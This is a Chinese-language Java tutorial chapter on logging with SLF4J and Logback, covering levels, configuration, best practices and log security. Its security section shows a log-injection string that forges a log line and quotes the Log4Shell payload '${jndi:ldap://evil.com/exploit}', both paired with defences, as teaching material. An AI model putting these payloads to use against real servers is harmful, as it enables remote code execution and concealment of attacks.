日志

为什么需要日志

你总不能上线后还到处 System.out.println 吧?日志就是给程序写日记——记录程序运行过程中发生了什么,出了问题能回头查

System.out.println 的问题:

没有级别区分(不知道是普通信息还是错误)

没有时间戳(不知道什么时候发生的)

只能输出到控制台(服务器上看不到)

不能按条件过滤

性能差

日志级别

从低到高,越往上越严重。生产环境一般设置为 INFO 级别,低于 INFO 的不输出

级别 用途 示例
TRACE 最细粒度追踪,一般不用 进入某个方法
DEBUG 开发调试信息 查询SQL、方法参数、中间变量
INFO 重要业务信息 用户登录成功、订单创建、服务启动
WARN 警告,不影响运行但需注意 配置缺失用了默认值、重试操作
ERROR 错误,影响功能但服务还活着 接口调用失败、数据库异常

记忆口诀:开发用DEBUG,上线用INFO,出问题看ERROR

1
2
3
4
5
6
7
8
9
10
11
@Test
public void testLogLevel() {
// 使用 SLF4J
Logger log = LoggerFactory.getLogger(getClass());

log.trace("这是trace,基本不用");
log.debug("查询用户,userId={}", 12345);
log.info("用户登录成功,username={}", "zhangsan");
log.warn("缓存未命中,走数据库查询");
log.error("调用支付接口失败,orderId={}", "ORD001");
}

日志框架体系

Java日志框架很乱,但你只要记住一个组合:SLF4J + Logback

1
2
3
你的代码 → SLF4J(门面/接口) → Logback(实现)
→ Log4j2(另一个实现)
→ JUL(Java自带,没人用)

SLF4J(Simple Logging Facade for Java):只是一个接口/门面,不干活

Logback:真正干活的实现,Spring Boot 默认用的就是这个

为什么要分门面和实现?解耦啊!以后想换日志框架,代码一行不用改,只换依赖就行

框架 角色 说明
SLF4J 门面(接口) 只定义API,不实现
Logback 实现 Spring Boot默认,性能好
Log4j2 实现 Apache出品,功能强
Log4j 1.x 已淘汰 别用了,有安全漏洞

使用方式

方式一:手动获取Logger

1
2
3
4
5
6
7
8
9
10
11
12
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class UserService {
private static final Logger log = LoggerFactory.getLogger(UserService.class);

public void login(String username) {
log.info("用户开始登录, username={}", username);
// ...业务逻辑
log.info("用户登录成功, username={}", username);
}
}

方式二:用Lombok的 @Slf4j 注解(推荐,省一行代码)

1
2
3
4
5
6
7
8
import lombok.extern.slf4j.Slf4j;

@Slf4j // 自动生成 private static final Logger log = ...
public class UserService {
public void login(String username) {
log.info("用户开始登录, username={}", username);
}
}

日志配置:logback.xml

src/main/resources/logback.xmllogback-spring.xml 里配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!-- logback-spring.xml 示例 -->
<configuration>
<!-- 控制台输出 -->
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>
</encoder>
</appender>

<!-- 文件输出(按天滚动) -->
<appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
<file>logs/app.log</file>
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<fileNamePattern>logs/app.%d{yyyy-MM-dd}.log</fileNamePattern>
<maxHistory>30</maxHistory> <!-- 保留30天 -->
</rollingPolicy>
<encoder>
<pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>
</encoder>
</appender>

<!-- 指定某个包的日志级别 -->
<logger name="com.example.mapper" level="DEBUG" />

<!-- 根级别 -->
<root level="INFO">
<appender-ref ref="CONSOLE" />
<appender-ref ref="FILE" />
</root>
</configuration>

输出格式说明

占位符 含义
%d{pattern} 日期时间
%thread 线程名
%-5level 日志级别(左对齐,5字符宽)
%logger{36} Logger名(最长36字符)
%msg 日志消息
%n 换行

日志最佳实践

实践1:用占位符,不要用字符串拼接

1
2
3
4
5
6
7
8
9
10
11
12
@Test
public void testLogPlaceholder() {
Logger log = LoggerFactory.getLogger(getClass());
String username = "zhangsan";
int age = 25;

// ❌ 字符串拼接:即使日志级别不够不输出,拼接操作也会执行,浪费性能
log.debug("用户信息: name=" + username + ", age=" + age);

// ✅ 占位符:只有真正输出时才会做拼接
log.debug("用户信息: name={}, age={}", username, age);
}

实践2:异常日志要带堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Test
public void testLogException() {
Logger log = LoggerFactory.getLogger(getClass());

try {
int result = 1 / 0;
} catch (Exception e) {
// ❌ 只有消息,没有堆栈,出了问题根本不知道哪里报错
log.error("计算失败: " + e.getMessage());

// ❌ 更离谱,打印到控制台了
e.printStackTrace();

// ✅ 正确!第二个参数传异常对象,自动打印完整堆栈
log.error("计算失败", e);
}
}

实践3:合理选择日志级别

方法入参出参 → DEBUG

业务关键节点 → INFO(用户登录、下单、支付)

可恢复的异常 → WARN(重试成功)

不可恢复的异常 → ERROR

实践4:不要在循环里打日志

1
2
3
4
5
6
7
8
9
// ❌ 循环10万次就输出10万行日志,日志文件爆炸
for (User user : userList) {
log.info("处理用户: {}", user.getName());
}

// ✅ 只打关键信息
log.info("开始处理用户列表, size={}", userList.size());
// ...处理逻辑
log.info("处理完成, 成功={}, 失败={}", successCount, failCount);

⭐ 安全角度:日志安全

日志注入

用户输入直接写进日志,攻击者可以伪造日志内容,甚至执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Test
public void testLogInjection() {
Logger log = LoggerFactory.getLogger(getClass());

// 攻击者输入的用户名:
String maliciousUsername = "admin\n2024-01-15 INFO 用户admin登录成功";
// 写进日志后,看起来像多了一行"合法"的日志,可以掩盖攻击痕迹

// ❌ 直接写入
log.info("登录尝试, username={}", maliciousUsername);

// ✅ 防御:过滤换行符
String safe = maliciousUsername.replaceAll("[\\r\\n]", "_");
log.info("登录尝试, username={}", safe);
}

Log4Shell(CVE-2021-44228)——史上最严重的漏洞之一

Log4j 2.x 的 JNDI 注入漏洞,攻击者只要让服务器记录一条包含 ${jndi:ldap://evil.com/exploit} 的日志就能远程执行代码(RCE)

影响:几乎所有用Java的公司都中招了(Minecraft、Apple、Amazon…)

防御:升级Log4j到安全版本、用Logback替代、禁用JNDI lookup

敏感信息泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@Test
public void testSensitiveLog() {
Logger log = LoggerFactory.getLogger(getClass());

String password = "myP@ssw0rd";
String idCard = "110101199001011234";
String bankCard = "6222021234567890123";

// ❌ 千万别这样!日志文件会被很多人看到
log.info("用户注册, password={}, 身份证={}", password, idCard);

// ✅ 脱敏处理
log.info("用户注册, password=***, 身份证={}****{}",
idCard.substring(0, 6), idCard.substring(14));
// 输出: 用户注册, password=***, 身份证=110101****1234
}
不该出现在日志里的内容 替代方案
密码 打印 ***
身份证号 只显示前6后4
银行卡号 只显示后4位
手机号 中间4位用 ****
Token/密钥 只显示前几位

常见坑

坑1:导入了错误的Logger包。要用 org.slf4j.Logger,不要用 java.util.logging.Logger

坑2:日志级别配太低(比如生产环境用DEBUG),日志文件暴涨,磁盘撑爆

坑3log.error("失败", e)log.error("失败: {}", e) 不一样!后者只打印 e.toString(),不带堆栈

坑4:日志文件没配滚动策略,单个文件几十G

坑5:用了 @Slf4j 但项目没加Lombok依赖,编译报错

练习题

题1:配置一个 logback-spring.xml,要求:控制台输出所有级别、文件只输出WARN及以上、文件按天滚动保留7天

题2:封装一个日志工具方法,自动对手机号、身份证号做脱敏处理

题3(⭐ 安全题):以下代码有什么安全风险?

1
2
3
4
5
6
@PostMapping("/login")
public Result login(@RequestBody LoginRequest req) {
log.info("登录请求: {}", JSON.toJSONString(req));
// LoginRequest 里有 username 和 password 字段
// ...
}

上一章 目录 下一章
正则表达式 java基础 常用工具库